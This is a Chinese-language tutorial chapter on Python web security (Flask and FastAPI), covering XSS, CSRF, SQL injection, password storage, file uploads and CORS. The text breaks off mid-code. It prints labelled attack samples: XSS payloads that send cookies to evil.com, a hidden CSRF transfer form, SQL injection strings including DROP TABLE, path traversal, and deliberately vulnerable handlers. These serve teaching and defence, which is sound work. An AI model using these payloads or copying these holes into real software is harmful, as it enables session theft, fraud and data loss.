Skip to content

安全专题

本章代码基于 Python 3.11+ 编写

安全不是可选功能,而是 Web 应用的底线。本章系统讲解 XSS、CSRF、SQL 注入等核心威胁及其防御方案。


为什么需要学习 Web 安全?一个真实的事故场景

问题场景: 你开发了一个用户评论系统,上线后很快被攻击者利用:

python
# 危险的评论渲染逻辑
@app.route("/comment", methods=["POST"])
def add_comment():
    user_input = request.form["content"]
    # 直接把用户输入拼进 HTML
    html = f"<div class='comment'>{user_input}</div>"
    return html

攻击者提交评论内容:

html
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

结果:所有访问该页面的用户,其 Cookie 被发送到攻击者服务器。攻击者可以用这些 Cookie 冒充任意用户登录。

这就是 XSS 攻击。 它不是理论风险,而是每天都在发生的真实威胁。


Web 安全解决了什么问题?

Web 安全的核心目标是保护三件事:

┌─────────────────────────────────────────────────────────────┐
│                    Web 安全三大目标                          │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│   1. 机密性(Confidentiality)                                │
│      数据只能被授权的人看到                                    │
│      → 防止:信息泄露、中间人攻击                              │
│                                                             │
│   2. 完整性(Integrity)                                     │
│      数据不被未授权的人篡改                                    │
│      → 防止:SQL 注入、XSS、CSRF                              │
│                                                             │
│   3. 可用性(Availability)                                  │
│      服务始终可以被正常访问                                    │
│      → 防止:DDoS、资源耗尽                                   │
│                                                             │
└─────────────────────────────────────────────────────────────┘

安全学习的价值:

  1. 防御已知攻击:掌握常见漏洞模式,写代码时自动避开
  2. 减少安全事故:90% 的安全漏洞源于基础疏忽
  3. 提升代码质量:安全实践往往也提升代码健壮性
  4. 满足合规要求:GDPR、等保等法规的安全基线

第一部分:XSS(跨站脚本攻击)

1.1 XSS 是什么

XSS(Cross-Site Scripting)是指攻击者将恶意脚本注入到网页中,其他用户访问该页面时脚本会执行。

XSS 攻击流程:
┌────────────┐    提交恶意数据    ┌────────────┐
│            │ ──────────────────→│            │
│   攻击者   │   <script>...      │   服务器   │
│            │                    │            │
└────────────┘                    └─────┬──────┘

                              存储 / 反射恶意内容


┌────────────┐    执行恶意脚本    ┌────────────┐
│            │ ←──────────────────│            │
│   受害者   │   浏览器自动执行    │   服务器   │
│  (浏览器)  │   document.cookie  │   响应     │
│            │                    │            │
└────────────┘                    └────────────┘

XSS 三种类型:

类型恶意脚本存储位置触发方式危害程度
存储型(Stored)数据库、文件存储用户访问被污染的页面⭐⭐⭐ 最高
反射型(Reflected)URL 参数、请求体用户点击恶意链接⭐⭐ 中等
DOM 型(DOM-based)前端 JavaScript前端 JS 直接处理不可信数据⭐⭐ 中等

1.2 攻击示例

存储型 XSS — 用户评论:

python
from flask import Flask, request, render_template_string

app = Flask(__name__)
comments = []  # 模拟数据库

@app.route("/comment", methods=["POST"])
def add_comment():
    content = request.form.get("content", "")
    comments.append(content)  # 恶意脚本被存入"数据库"
    return "评论已提交"

@app.route("/comments")
def show_comments():
    # ⚠️ 危险:用户输入直接拼入 HTML,未转义
    html = "<html><body>"
    for c in comments:
        html += f"<div class='comment'>{c}</div>"  # ← 这里会被注入
    html += "</body></html>"
    return html

攻击者提交:

评论内容: <img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">

所有访问 /comments 的用户都会触发这个脚本。

反射型 XSS — 搜索结果:

python
@app.route("/search")
def search():
    query = request.args.get("q", "")
    # ⚠️ 危险:用户输入直接返回到页面
    return f"<html><body>搜索结果:{query}</body></html>"

攻击者构造链接发送给用户:

https://yoursite.com/search?q=<script>alert('XSS')</script>

用户点击后,脚本在其浏览器中执行。

1.3 防御方法

方法一:模板自动转义(最重要)

python
from flask import Flask, render_template_string

app = Flask(__name__)

# ✅ 安全:Jinja2 默认开启自动转义
@app.route("/comment")
def show_comments_safe():
    comments = ["<script>alert('xss')</script>", "正常评论"]
    # {{ }} 中的内容会自动转义 < 为 &lt; 等
    return render_template_string("""
        {% for c in comments %}
            <div>{{ c }}</div>
        {% endfor %}
    """, comments=comments)
    # 输出:&lt;script&gt;alert('xss')&lt;/script&gt;

方法二:手动 HTML 转义

python
import html

def escape_user_input(user_input: str) -> str:
    """对用户输入进行 HTML 转义"""
    return html.escape(user_input, quote=True)

# 使用
raw = '<script>alert("xss")</script>'
safe = escape_user_input(raw)
print(safe)  # &lt;script&gt;alert(&quot;xss&quot;)&lt;/script&gt;

方法三:设置 Content-Security-Policy(CSP)

python
from flask import Flask, make_response

app = Flask(__name__)

@app.after_request
def set_csp(response):
    """设置 CSP 头,限制脚本来源"""
    response.headers["Content-Security-Policy"] = (
        "default-src 'self'; "           # 只允许同源资源
        "script-src 'self'; "            # 只允许同源脚本
        "style-src 'self' 'unsafe-inline';"  # 允许内联样式
    )
    return response

⚠️ 手动关闭转义的风险:

python
from markupsafe import Markup

# ⚠️ 危险:明确标记内容"安全",跳过转义
@app.route("/risky")
def risky():
    user_input = request.args.get("name", "")
    # Markup() 告诉 Jinja2 "这是安全的",不再转义
    template = f"Hello, {{ name }}"
    return render_template_string(template, name=Markup(user_input))
    # 如果 user_input = <script>... 就会被执行!

关键代码说明:

代码含义为什么这样写
Jinja2 模板变量默认转义 HTML 特殊字符,防止 XSS
| safe 过滤器标记内容为安全跳过转义,只在确认内容安全时使用
html.escape()Python 标准库转义< > & " ' 转为 HTML 实体
Content-Security-PolicyHTTP 响应头即使 XSS 注入成功,浏览器也会阻止恶意脚本加载

1.4 XSS 防护检查清单

XSS 防护决策树:
              ┌───────────────────┐
              │  有用户输入?      │
              └────────┬──────────┘
                       │ Yes

              ┌───────────────────┐
              │  输出到 HTML?     │
              └────────┬──────────┘
                       │ Yes

         ┌──────────────────────────┐
         │  使用模板引擎自动转义?   │
         └────────┬─────────────────┘
              Yes │  No → ❌ 漏洞!

         ┌───────────────────┐
         │  需要显示原始 HTML?│
         └────────┬──────────┘
              Yes │  No → ✅ 安全

         ┌──────────────────────────┐
         │  使用白名单库清理 HTML?  │
         │  (如 bleach)              │
         └────────┬─────────────────┘
                  │ Yes → ✅ 安全
                  │ No  → ❌ 漏洞!

第二部分:CSRF(跨站请求伪造)

2.1 CSRF 原理

CSRF(Cross-Site Request Forgery)利用的是浏览器自动携带 Cookie 的机制。

CSRF 攻击流程:
┌──────────────────────────────────────────────────────────────┐
│                                                              │
│  用户已登录 bank.com                                          │
│       │                                                      │
│       │ 浏览器保存 Cookie: session_id=abc123                 │
│       │                                                      │
│       ▼                                                      │
│  用户访问 evil.com(攻击者网站)                                │
│       │                                                      │
│       │ evil.com 包含隐藏的恶意表单                            │
│       │ <form action="https://bank.com/transfer" method="POST">│
│       │   <input name="to" value="attacker">                 │
│       │   <input name="amount" value="10000">                │
│       │   <input type="submit" value="点击领奖">              │
│       │ </form>                                              │
│       │                                                      │
│       ▼                                                      │
│  用户点击"领奖"按钮                                            │
│       │                                                      │
│       │ 浏览器向 bank.com 发送 POST 请求                      │
│       │ → 自动携带 Cookie: session_id=abc123                 │
│       │ → bank.com 认为这是用户的合法操作                      │
│       │ → 转账 10000 元给攻击者                                │
│                                                              │
└──────────────────────────────────────────────────────────────┘

关键点: 浏览器对 bank.com 的请求会自动带上 bank.com 的 Cookie,攻击者网站利用这一点诱使用户发送请求。

2.2 攻击示例

没有 CSRF 保护的转账接口:

python
from flask import Flask, request, session

app = Flask(__name__)
app.secret_key = "dev-key"

@app.route("/login", methods=["POST"])
def login():
    session["user_id"] = "user123"
    return "登录成功"

@app.route("/transfer", methods=["POST"])
def transfer():
    # ⚠️ 危险:只要用户登录了,任何来源的请求都会被处理
    user_id = session.get("user_id")
    if not user_id:
        return "未登录", 401

    to = request.form["to"]
    amount = request.form["amount"]
    # 直接执行转账,没有验证请求来源
    print(f"{user_id}{to} 转账 {amount} 元")
    return "转账成功"

攻击者在 evil.com 放置:

html
<!-- 用户点击后立即转账 -->
<form action="https://yoursite.com/transfer" method="POST">
    <input type="hidden" name="to" value="hacker_account">
    <input type="hidden" name="amount" value="99999">
    <input type="submit" value="免费领取 iPhone">
</form>

2.3 防御方法

方法一:CSRF Token(最常用)

python
import secrets
from flask import Flask, request, session, render_template_string

app = Flask(__name__)
app.secret_key = "dev-key"

def generate_csrf_token() -> str:
    """生成 CSRF Token"""
    if "csrf_token" not in session:
        session["csrf_token"] = secrets.token_hex(32)
    return session["csrf_token"]

@app.context_processor
def inject_csrf_token():
    """将 CSRF Token 注入到所有模板"""
    return {"csrf_token": generate_csrf_token}

@app.before_request
def validate_csrf_token():
    """验证 POST/PUT/DELETE 请求的 CSRF Token"""
    if request.method in ("POST", "PUT", "DELETE", "PATCH"):
        token = request.form.get("csrf_token") or request.headers.get("X-CSRF-Token")
        if not token or token != session.get("csrf_token"):
            return "CSRF Token 验证失败", 403

# 安全的转账接口
@app.route("/transfer", methods=["GET", "POST"])
def transfer():
    if request.method == "GET":
        return render_template_string("""
            <form method="POST">
                <input type="hidden" name="csrf_token" value="{{ csrf_token }}">
                收款人: <input name="to"><br>
                金额: <input name="amount"><br>
                <button type="submit">转账</button>
            </form>
        """)

    user_id = session.get("user_id")
    if not user_id:
        return "未登录", 401

    # CSRF Token 已通过 before_request 验证
    to = request.form["to"]
    amount = request.form["amount"]
    return f"{user_id}{to} 转账 {amount} 元"

方法二:Flask-WTF 集成方案

python
from flask_wtf import FlaskForm, CSRFProtect
from wtforms import StringField, DecimalField
from wtforms.validators import DataRequired

# 全局 CSRF 保护
csrf = CSRFProtect()
app = Flask(__name__)
app.config["SECRET_KEY"] = "dev-key"
csrf.init_app(app)

# 使用 Flask-WTF 表单(自动包含 CSRF Token)
class TransferForm(FlaskForm):
    to = StringField("收款人", validators=[DataRequired()])
    amount = DecimalField("金额", validators=[DataRequired()])

@app.route("/transfer", methods=["GET", "POST"])
def transfer():
    form = TransferForm()
    if form.validate_on_submit():
        return f"转账 {form.amount.data}{form.to.data}"
    return render_template_string("{{ form.hidden_tag() }} ...", form=form)

方法三:FastAPI 手动实现 CSRF 保护

python
import secrets
from fastapi import FastAPI, Request, Depends, HTTPException, Form
from fastapi.responses import HTMLResponse
from starlette.middleware.base import BaseHTTPMiddleware

app = FastAPI()

# 简单的 CSRF Token 存储(生产环境用 Redis)
csrf_tokens: dict[str, str] = {}

class CSRFMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request: Request, call_next):
        if request.method in ("POST", "PUT", "DELETE", "PATCH"):
            token = request.headers.get("X-CSRF-Token") or (
                await request.form()
            ).get("csrf_token", "")
            session_token = request.cookies.get("csrf_token")
            if not token or token != session_token:
                raise HTTPException(status_code=403, detail="CSRF Token 无效")
        return await call_next(request)

app.add_middleware(CSRFMiddleware)

@app.get("/csrf-token")
def get_csrf_token():
    """获取 CSRF Token"""
    token = secrets.token_hex(32)
    csrf_tokens[token] = True
    from fastapi.responses import JSONResponse
    response = JSONResponse({"csrf_token": token})
    response.set_cookie(key="csrf_token", value=token, httponly=True)
    return response

@app.post("/transfer")
async def transfer(
    to: str = Form(...),
    amount: float = Form(...),
):
    # CSRF Token 由中间件验证
    return {"status": f"转账 {amount}{to} 成功"}

方法四:SameSite Cookie 属性

python
from flask import Flask, make_response, session

app = Flask(__name__)

@app.after_request
def set_samesite(response):
    """设置 SameSite Cookie 属性"""
    response.set_cookie(
        "session_id",
        session.get("session_id", ""),
        samesite="Strict",   # 最严格:同源请求才携带 Cookie
        # samesite="Lax",    # 较宽松:GET 请求可携带
        httponly=True,       # JavaScript 无法读取
        secure=True,         # 仅 HTTPS 传输
    )
    return response

SameSite 属性对比:

GET 携带POST 携带跨站请求适用场景
Strict❌ 不同源不带❌ 不同源不带完全禁止高安全场景
Lax✅ 导航请求带❌ 不同源不带仅导航请求大多数网站
None允许需第三方嵌入

2.4 CSRF 防护决策

CSRF 防护策略选择:
┌────────────────────────────────────────────────────────────┐
│                                                            │
│  你的 API 类型?                                            │
│                                                            │
│  ┌─────────────────┐    ┌──────────────────────────────┐   │
│  │  传统表单提交    │    │  SPA / 前后端分离 API         │   │
│  │  (Flask 模板)    │    │  (FastAPI / Flask-RESTful)   │   │
│  └────────┬────────┘    └──────────────┬───────────────┘   │
│           │                            │                   │
│           ↓                            ↓                   │
│  ┌─────────────────┐    ┌──────────────────────────────┐   │
│  │  Flask-WTF       │    │  CSRF Token + 自定义请求头   │   │
│  │  (自动处理)       │    │  X-CSRF-Token               │   │
│  └─────────────────┘    │  + SameSite=Lax Cookie       │   │
│                         └──────────────────────────────┘   │
│                                                            │
│  通用补充:SameSite Cookie + Referer 检查                   │
│                                                            │
└────────────────────────────────────────────────────────────┘

第三部分:SQL 注入

3.1 SQL 注入原理

SQL 注入是因为将用户输入直接拼接到 SQL 语句中,导致攻击者可以篡改 SQL 逻辑。

SQL 注入原理:
┌────────────────────────────────────────────────────────────┐
│                                                            │
│  正常查询:                                                 │
│    username = "alice"                                       │
│    SQL = f"SELECT * FROM users WHERE username = '{username}'│"│
│    → SELECT * FROM users WHERE username = 'alice'           │
│    → 返回 alice 的记录 ✅                                   │
│                                                            │
│  注入攻击:                                                 │
│    username = "' OR 1=1 --"                                 │
│    SQL = f"SELECT * FROM users WHERE username = '{username}'│"│
│    → SELECT * FROM users WHERE username = '' OR 1=1 --'     │
│    → 1=1 永远为真,返回所有用户记录 ❌                       │
│                                                            │
│  更危险的注入:                                             │
│    username = "'; DROP TABLE users; --"                     │
│    → SELECT * FROM users WHERE username = '';               │
│      DROP TABLE users; --'                                  │
│    → users 表被删除 ❌❌❌                                  │
│                                                            │
└────────────────────────────────────────────────────────────┘

3.2 攻击示例

危险的登录验证:

python
import sqlite3

# ❌ 危险:字符串拼接构建 SQL
def login(username: str, password: str) -> bool:
    conn = sqlite3.connect("app.db")
    cursor = conn.cursor()

    # 万能密码攻击
    sql = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
    # 如果 password = "' OR 1=1 --"
    # SQL 变成: SELECT * FROM users WHERE username = 'x' AND password = '' OR 1=1 --'
    # → 1=1 永远为真,绕过密码验证!

    cursor.execute(sql)
    user = cursor.fetchone()
    return user is not None

# 攻击者这样登录:
# login("admin", "' OR 1=1 --")  # 无需密码,直接以 admin 身份登录!

万能密码解析:

sql
-- 原始 SQL
SELECT * FROM users WHERE username = 'admin' AND password = '' OR 1=1 --'

-- SQL 解析器看到的(-- 之后的内容是注释):
SELECT * FROM users WHERE username = 'admin' AND password = '' OR 1=1

-- 等价于:
SELECT * FROM users WHERE (username = 'admin' AND password = '') OR (1=1)
-- 1=1 永远为真,所以返回所有记录

3.3 防御方法

方法一:参数化查询(最重要)

python
import sqlite3

# ✅ 安全:使用参数化查询
def login_safe(username: str, password: str) -> bool:
    conn = sqlite3.connect("app.db")
    cursor = conn.cursor()

    # ? 是占位符,数据库驱动会正确处理转义
    sql = "SELECT * FROM users WHERE username = ? AND password = ?"
    cursor.execute(sql, (username, password))

    # 即使 password = "' OR 1=1 --"
    # 数据库也会将其视为一个字面量字符串,不会当作 SQL 代码执行
    user = cursor.fetchone()
    return user is not None

方法二:SQLAlchemy ORM(推荐)

python
from sqlalchemy import create_engine, Column, String, Integer
from sqlalchemy.orm import DeclarativeBase, Session

Base = DeclarativeBase()

class User(Base):
    __tablename__ = "users"
    id = Column(Integer, primary_key=True)
    username = Column(String(50), unique=True)
    password_hash = Column(String(128))

engine = create_engine("sqlite:///app.db")

# ✅ 安全:ORM 自动生成参数化查询
def get_user_by_name(username: str) -> User | None:
    with Session(engine) as session:
        # ORM 会转义所有输入
        return session.query(User).filter_by(username=username).first()

# ✅ 安全:使用 ORM 的过滤方法
def search_users(query: str) -> list[User]:
    with Session(engine) as session:
        return (
            session.query(User)
            .filter(User.username.contains(query))
            .all()
        )

⚠️ SQLAlchemy 中的危险用法:

python
from sqlalchemy import text

# ❌ 危险:使用 text() 直接拼接 SQL
def dangerous_search(username: str) -> list:
    with Session(engine) as session:
        # 直接拼接用户输入
        sql = f"SELECT * FROM users WHERE username = '{username}'"
        return session.execute(text(sql)).all()

# ✅ 正确:text() 中使用命名参数
def safe_text_search(username: str) -> list:
    with Session(engine) as session:
        # 即使使用 text(),也要用参数绑定
        sql = text("SELECT * FROM users WHERE username = :username")
        return session.execute(sql, {"username": username}).all()

方法三:输入验证 + 白名单

python
import re

def validate_sort_column(column: str) -> str:
    """验证排序字段(白名单方式)"""
    allowed = {"id", "username", "created_at", "email"}
    if column not in allowed:
        raise ValueError(f"不允许的排序字段: {column}")
    return column

def get_users_sorted(sort_by: str) -> list:
    """安全的排序查询"""
    safe_column = validate_sort_column(sort_by)
    with Session(engine) as session:
        # sort_by 经过白名单验证,可以安全拼接
        sql = text(f"SELECT * FROM users ORDER BY {safe_column}")
        return session.execute(sql).all()

SQL 注入防御对比:

方法安全性易用性适用场景
参数化查询 ? / :name⭐⭐⭐⭐⭐⭐所有 raw SQL
SQLAlchemy ORM⭐⭐⭐⭐⭐⭐常规 CRUD
SQLAlchemy text() + 参数⭐⭐⭐⭐⭐复杂查询
白名单验证⭐⭐⭐⭐⭐列名、表名等标识符
字符串格式化永远不要用

3.4 知识关联

SQL 注入防御知识关联:
┌─────────────────────────────────────────────────────────────┐
│                                                             │
│  用户输入                                                     │
│       │                                                     │
│       ▼                                                     │
│  ┌─────────────┐    ┌──────────────┐    ┌──────────────┐    │
│  │  输入验证    │───→│  参数化查询   │───→│  最小权限    │    │
│  │  (白名单)    │    │  (? / :name) │    │  数据库用户   │    │
│  └─────────────┘    └──────────────┘    └──────────────┘    │
│       │                   │                   │             │
│       ▼                   ▼                   ▼             │
│  拦截非法字符          阻止 SQL 解析       限制破坏范围      │
│  提前拒绝              改变语义            降低影响          │
│                                                             │
└─────────────────────────────────────────────────────────────┘

第四部分:其他常见攻击

4.1 密码安全

密码存储的错误与正确方式:

python
# ❌ 错误:明文存储
user_password = "password123"  # 数据库被泄露,所有密码暴露

# ❌ 错误:简单 MD5/SHA1
import hashlib
hash_password = hashlib.md5(b"password123").hexdigest()
# 彩虹表可以在几秒内破解常见密码的 MD5

# ✅ 正确:使用 bcrypt
import bcrypt

def hash_password(plain: str) -> str:
    """使用 bcrypt 哈希密码"""
    salt = bcrypt.gensalt(rounds=12)  # rounds 越高越安全(越慢)
    hashed = bcrypt.hashpw(plain.encode("utf-8"), salt)
    return hashed.decode("utf-8")

def verify_password(plain: str, hashed: str) -> bool:
    """验证密码"""
    return bcrypt.checkpw(plain.encode("utf-8"), hashed.encode("utf-8"))

# 使用
hashed = hash_password("password123")
print(verify_password("password123", hashed))  # True
print(verify_password("wrong_password", hashed))  # False

为什么 bcrypt 比 MD5 安全?

密码破解成本对比:
┌────────────────────────────────────────────────────────────┐
│                                                            │
│  算法      │ 单次哈希时间 │ 10亿次破解时间 │ 抵抗彩虹表     │
│  ──────────│──────────────│────────────────│───────────────│
│  MD5       │ ~0.0001 ms   │ ~2 分钟        │ ❌ 无         │
│  SHA-256   │ ~0.001 ms    │ ~17 分钟       │ ❌ 无         │
│  bcrypt    │ ~250 ms      │ ~8000 年       │ ✅ 内置盐     │
│  Argon2    │ ~500 ms      │ ~16000 年      │ ✅ 内置盐     │
│                                                            │
│  结论:攻击者破解 bcrypt 哈希的成本是 MD5 的 250 万倍        │
│                                                            │
└────────────────────────────────────────────────────────────┘

关键代码说明:

代码含义为什么这样写
bcrypt.gensalt(rounds=12)生成随机盐每次哈希使用不同的盐,相同密码产生不同哈希,防止彩虹表
rounds=12计算迭代次数2^12 = 4096 次迭代,增加暴力破解成本
bcrypt.checkpw()恒定时间比较防止时序攻击,不会因为密码前缀正确而更快返回

4.2 文件上传安全

python
import os
import uuid
from flask import Flask, request
from werkzeug.utils import secure_filename

app = Flask(__name__)
UPLOAD_FOLDER = "/var/uploads"
ALLOWED_EXTENSIONS = {"png", "jpg", "jpeg", "gif", "pdf"}

def allowed_file(filename: str) -> bool:
    """检查文件扩展名"""
    return "." in filename and filename.rsplit(".", 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route("/upload", methods=["POST"])
def upload_file():
    file = request.files.get("file")
    if not file or not file.filename:
        return "请选择文件", 400

    if not allowed_file(file.filename):
        return "不支持的文件类型", 400

    # ✅ 安全措施 1:使用 secure_filename 清理文件名
    safe_name = secure_filename(file.filename)
    if not safe_name:
        return "无效的文件名", 400

    # ✅ 安全措施 2:使用 UUID 避免文件名冲突和路径遍历
    unique_name = f"{uuid.uuid4().hex}_{safe_name}"
    file_path = os.path.join(UPLOAD_FOLDER, unique_name)

    # ✅ 安全措施 3:验证路径在上传目录内
    real_path = os.path.realpath(file_path)
    if not real_path.startswith(os.path.realpath(UPLOAD_FOLDER)):
        return "非法的文件路径", 400

    file.save(file_path)
    return f"文件已上传:{unique_name}"

文件上传攻击模式:

python
# ❌ 路径遍历攻击
# 文件名: ../../../etc/passwd
# 如果直接拼接,会覆盖系统文件!

# ❌ 扩展名欺骗
# 文件名: evil.php.jpg 或 evil.php%00.jpg
# 某些服务器会按第一个扩展名或截断后的名字执行

# ❌ MIME 类型伪造
# Content-Type: image/jpeg,但文件实际是 PHP 脚本
# 不能仅依赖 Content-Type 判断文件类型

4.3 敏感数据泄露

错误处理中的信息泄露:

python
from flask import Flask, request
import traceback

app = Flask(__name__)

# ❌ 错误:返回详细错误信息给客户端
@app.errorhandler(Exception)
def handle_error(e):
    # 暴露了数据库表结构、文件路径、堆栈信息
    return {"error": str(e), "traceback": traceback.format_exc()}, 500

# ✅ 正确:只返回通用错误信息
@app.errorhandler(Exception)
def handle_error_safe(e):
    # 记录详细错误到日志(仅服务器端可见)
    app.logger.error(f"内部错误: {e}", exc_info=True)

    # 返回通用错误信息给客户端
    return {
        "error": "服务器内部错误",
        "message": "请稍后重试"
    }, 500

日志中的敏感数据:

python
import logging
import re

class SensitiveDataFilter(logging.Filter):
    """过滤日志中的敏感数据"""

    SENSITIVE_PATTERNS = [
        re.compile(r"(password|passwd|pwd)['\"]?\s*[:=]\s*['\"]?[^&'\"]+"),
        re.compile(r"(token|api_key|secret)['\"]?\s*[:=]\s*['\"]?[^&'\"]+"),
        re.compile(r"\b\d{4}[-\s]?\d{4}[-\s]?\d{4}[-\s]?\d{4}\b"),  # 银行卡号
    ]

    def filter(self, record):
        if isinstance(record.msg, str):
            for pattern in self.SENSITIVE_PATTERNS:
                record.msg = pattern.sub("***REDACTED***", record.msg)
        return True

# 使用
logger = logging.getLogger(__name__)
logger.addFilter(SensitiveDataFilter())

# 这些日志中的密码会被自动过滤
logger.info("用户登录: password=secret123")
# 实际输出: 用户登录: password=***REDACTED***

4.4 CORS 配置错误

python
# ❌ 错误:允许所有来源
from flask_cors import CORS

app = Flask(__name__)
CORS(app)  # Access-Control-Allow-Origin: *
# 任何网站都可以用 JavaScript 调用你的 API!

# ✅ 正确:限制允许的域名
CORS(
    app,
    origins=["https://myapp.com", "https://admin.myapp.com"],
    supports_credentials=True,  # 允许携带 Cookie
    methods=["GET", "POST"],    # 只允许特定方法
)

# ✅ FastAPI CORS 配置
from fastapi.middleware.cors import CORSMiddleware

app = FastAPI()
app.add_middleware(
    CORSMiddleware,
    allow_origins=["https://myapp.com"],  # 不要用 ["*"]
    allow_credentials=True,
    allow_methods=["GET", "POST", "PUT", "DELETE"],
    allow_headers=["*"],
)

CORS 错误配置的危害:

CORS 配置风险等级:
┌────────────────────────────────────────────────────────────┐
│                                                            │
│  allow_origins = ["*"]                                     │
│  └─ 任何网站都可以调用你的 API                              │
│  └─ 如果 API 操作敏感数据,等于门户大开                      │
│  └─ 风险等级:🔴 高                                        │
│                                                            │
│  allow_origins = ["https://trusted.com"]                   │
│  └─ 只有指定域名可以调用                                    │
│  └─ 风险等级:🟢 低                                        │
│                                                            │
│  allow_origins 包含用户可控的值                              │
│  └─ 攻击者可以把自己的域名加进去                            │
│  └─ 风险等级:🔴 高                                        │
│                                                            │
└────────────────────────────────────────────────────────────┘

第五部分:L2 实践层

5.1 安全最佳实践表格

安全领域最佳实践具体做法检查项
XSS 防御模板自动转义使用 Jinja2 默认转义,避免 `safe`
XSS 防御CSP 头设置 Content-Security-Policy是否限制了脚本来源?
CSRF 防御CSRF Token所有修改操作的表单包含 TokenPOST/PUT/DELETE 是否验证 Token?
CSRF 防御SameSite Cookie设置 SameSite=StrictLaxCookie 是否有 SameSite 属性?
SQL 注入参数化查询使用 ? / :name 占位符是否有字符串拼接 SQL?
SQL 注入ORM 优先使用 SQLAlchemy ORM 操作数据库是否使用 text() + 参数绑定?
密码安全bcrypt 哈希bcrypt.hashpw() 存储,checkpw() 验证是否有明文或 MD5 存储?
文件上传白名单验证检查扩展名 + 重命名 + 路径检查文件名是否经过 secure_filename
错误处理通用错误信息生产环境返回通用错误,详细日志记录错误响应是否暴露堆栈?
日志安全敏感信息过滤自动过滤密码、Token、卡号日志中是否有敏感数据?
CORS限制来源明确指定允许的域名是否使用 ["*"]
依赖安全定期更新uv lock 更新依赖,关注安全公告是否有已知漏洞的依赖?

5.2 安全审计清单

Web 应用安全审计清单:
┌────────────────────────────────────────────────────────────┐
│                                                            │
│  输入处理                                                   │
│  □ 所有用户输入是否经过验证和转义?                          │
│  □ 是否有字符串拼接到 SQL/HTML/Shell 命令?                 │
│  □ 文件上传是否检查类型、大小、路径?                        │
│                                                            │
│  认证与授权                                                 │
│  □ 密码是否使用 bcrypt/Argon2 哈希?                        │
│  □ 是否有暴力破解防护(限频/锁定)?                        │
│  □ 敏感操作是否需要二次验证?                                │
│  □ 权限检查是否覆盖所有接口?                                │
│                                                            │
│  会话管理                                                   │
│  □ Session Cookie 是否设置 HttpOnly + Secure?              │
│  □ CSRF Token 是否覆盖所有修改操作?                        │
│  □ 会话是否有合理的过期时间?                                │
│                                                            │
│  响应安全                                                   │
│  □ 是否设置安全 Headers?                                   │
│     - Content-Security-Policy                               │
│     - X-Frame-Options                                       │
│     - X-Content-Type-Options                                │
│     - Strict-Transport-Security                             │
│  □ 错误响应是否暴露内部信息?                                │
│  □ CORS 配置是否限制了来源?                                 │
│                                                            │
│  基础设施                                                   │
│  □ 依赖包是否有已知漏洞?                                   │
│  □ 是否使用 HTTPS?                                         │
│  □ 日志中是否有敏感数据?                                   │
│  □ 是否有安全监控和告警?                                   │
│                                                            │
└────────────────────────────────────────────────────────────┘

5.3 常见反模式

python
# ❌ 反模式 1:信任前端验证
# 前端做了验证,后端就直接使用
@app.route("/submit")
def submit():
    amount = int(request.args["amount"])  # 前端验证了是正数
    # 攻击者可以直接绕过前端,发送负数
    process_refund(amount)

# ✅ 正确:后端始终独立验证
@app.route("/submit")
def submit():
    amount = request.args.get("amount")
    if not amount or not amount.isdigit() or int(amount) <= 0:
        return "无效金额", 400
    process_refund(int(amount))
python
# ❌ 反模式 2:Security through Obscurity(隐蔽即安全)
# 认为"攻击者不知道我的接口路径"就是安全
@app.route("/admin-secret-panel-xyz-123")  # 隐藏路径
def admin_panel():
    # 没有认证!只是路径"很难猜到"
    return admin_dashboard()

# ✅ 正确:使用显式认证
@app.route("/admin")
@login_required  # Flask-Login 装饰器
@admin_required  # 自定义权限检查
def admin_panel():
    return admin_dashboard()
python
# ❌ 反模式 3:在 URL 中传递敏感数据
# https://yoursite.com/reset?token=abc123&email=user@test.com
# URL 会被记录在浏览器历史、服务器日志、Referer 头
@app.route("/reset")
def reset():
    token = request.args["token"]  # Token 暴露在 URL 中

# ✅ 正确:使用 POST + 请求体
@app.route("/reset", methods=["POST"])
def reset():
    token = request.json.get("token")  # Token 在请求体中
python
# ❌ 反模式 4:硬编码密钥
SECRET_KEY = "my-super-secret-key-123"
DATABASE_URL = "postgresql://admin:password123@localhost/db"

# ✅ 正确:使用环境变量
import os

SECRET_KEY = os.environ["SECRET_KEY"]
DATABASE_URL = os.environ["DATABASE_URL"]

第六部分:L3 专家层

6.1 HTTP 安全 Headers 详解

HTTP 安全 Headers 防御层次:
┌─────────────────────────────────────────────────────────────┐
│                     安全 Headers 栈                          │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  传输层安全                                                  │
│  ┌─────────────────────────────────────────────────────┐    │
│  │ Strict-Transport-Security (HSTS)                    │    │
│  │ → 强制浏览器使用 HTTPS,防止降级攻击                  │    │
│  │ → max-age=31536000; includeSubDomains              │    │
│  └─────────────────────────────────────────────────────┘    │
│                          ↓                                  │
│  内容完整性                                                   │
│  ┌─────────────────────────────────────────────────────┐    │
│  │ Content-Security-Policy (CSP)                       │    │
│  │ → 限制资源加载来源,防止 XSS                         │    │
│  │ → default-src 'self'; script-src 'self'            │    │
│  └─────────────────────────────────────────────────────┘    │
│                          ↓                                  │
│  MIME 安全                                                   │
│  ┌─────────────────────────────────────────────────────┐    │
│  │ X-Content-Type-Options: nosniff                    │    │
│  │ → 禁止浏览器 MIME 嗅探,防止类型混淆攻击              │    │
│  └─────────────────────────────────────────────────────┘    │
│                          ↓                                  │
│  嵌入防护                                                    │
│  ┌─────────────────────────────────────────────────────┐    │
│  │ X-Frame-Options: DENY                               │    │
│  │ → 禁止被 iframe 嵌入,防止点击劫持                    │    │
│  │ → 或 SAMEORIGIN(仅允许同源嵌入)                    │    │
│  └─────────────────────────────────────────────────────┘    │
│                          ↓                                  │
│  Cookie 安全                                                 │
│  ┌─────────────────────────────────────────────────────┐    │
│  │ Set-Cookie: SameSite=Strict; HttpOnly; Secure       │    │
│  │ → 防止 CSRF、XSS 窃取、中间人攻击                    │    │
│  └─────────────────────────────────────────────────────┘    │
│                                                             │
└─────────────────────────────────────────────────────────────┘

完整的安全 Headers 中间件实现:

python
from flask import Flask, Response

app = Flask(__name__)

@app.after_request
def set_security_headers(response: Response) -> Response:
    """设置完整的 HTTP 安全 Headers"""

    # 1. HSTS:强制 HTTPS(至少 1 年)
    response.headers["Strict-Transport-Security"] = (
        "max-age=31536000; includeSubDomains; preload"
    )

    # 2. CSP:限制资源来源
    response.headers["Content-Security-Policy"] = (
